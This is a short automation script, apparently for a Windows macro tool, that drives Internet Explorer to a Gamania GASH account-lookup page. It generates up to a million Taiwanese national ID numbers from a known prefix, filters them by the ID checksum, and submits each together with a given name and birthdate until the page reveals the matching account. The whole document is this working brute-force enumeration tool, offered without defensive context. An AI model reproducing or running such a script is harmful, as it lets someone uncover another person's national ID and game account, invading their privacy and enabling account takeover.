UserVar NameVal=魔幻小鱉 姓名 UserVar strID_Var=S123 身份證前四碼 UserVar YearVal=1985 西元xxxx年 UserVar MonthVal=10 月 UserVar DayVal=16 日 VBS Dim objIE,x,n,CheckSum,strID VBS n=0 VBS CheckSum=1 // 啟動IE VBS Set objIE = CreateObject("InternetExplorer.Application") VBS objIE.Visible=true // 打開預設網頁 VBS objIE.Navigate "https://tw.gash.gamania.com/LookUpGASHID.aspx" // 判斷頁面是否讀取完畢 While objIE.Busy Or objIE.ReadyState <> 4 Delay 50 EndWhile // 視窗放大 KeyDown 18,1 KeyPress 32,1 KeyUp 18,1 KeyPress 88,1 // 開始查詢身份證,並輸入到網頁 For 1000000 strID=strID_Var & Right("00000" & n,6) Gosub CheckID If CheckSum Mod 10 = 0 Gosub InputID EndIf // 累計數字 VBS n=n+1 EndFor // 結束 Rem FindEnd EndScript // ==============身份証號碼驗証================= Sub CheckID CheckSum=1 // 轉換大寫 UserID = UCase(strID) // 取得開頭英文字母 AreaCode = Left(UserID, 1) // 確定身證有10碼 If Len(UserID) = 10 // 確定首碼在A-Z之間 If AreaCode >= "A" And AreaCode <= "Z" // 確定2-10碼是數字 If IsNumeric(Mid(UserID, 2)) // 取得首碼對應的區域碼,A ->10, B->11, ..H->17,I->34, J->18... AreaNo = InStr("ABCDEFGHJKLMNPQRSTUVXYWZIO", AreaCode) + 9 UserID = CStr(AreaNo) + Mid(UserID, 2) // 取得CheckSum的值 CheckSum = CLng(Mid(UserID, 1, 1)) + CLng(Mid(UserID, 11, 1)) I=2 For 9 CheckSum = CheckSum + CLng(Mid(UserID, I, 1)) * (11 - I) I=I+1 EndFor EndIf EndIf EndIf Return CheckID // ==============網頁中輸入身份證號碼================= Sub InputID // 姓名 VBS objIE.Document.All("ctl00$ContentPlaceHolder1$tbRealName").Value = NameVal // 身份証 VBS objIE.Document.All("ctl00$ContentPlaceHolder1$tbPersonalID").Value = strID // 西元 VBS objIE.Document.All("ctl00$ContentPlaceHolder1$tbBYear").Value = YearVal // 月 VBS objIE.Document.All("ctl00$ContentPlaceHolder1$ddlBMonth").Value = MonthVal // 日 VBS objIE.Document.All("ctl00$ContentPlaceHolder1$ddlBDay").Value = DayVal // 點選 VBS objIE.Document.All("ctl00$ContentPlaceHolder1$btnSubmit").Click() // 判斷頁面是否讀取完畢 While objIE.Busy Or objIE.ReadyState <> 4 Delay 50 EndWhile // 讀取完成,開始其它腳本動作 VBS strIE = objIE.Document.Body.InnerHTML // 核對文字 x= "以下是您的帳號,請牢記唷!!" VBS s=InStr(strIE,x) If s>0 MessageBox "找到了" & strID Goto FindEnd EndIf Return InputID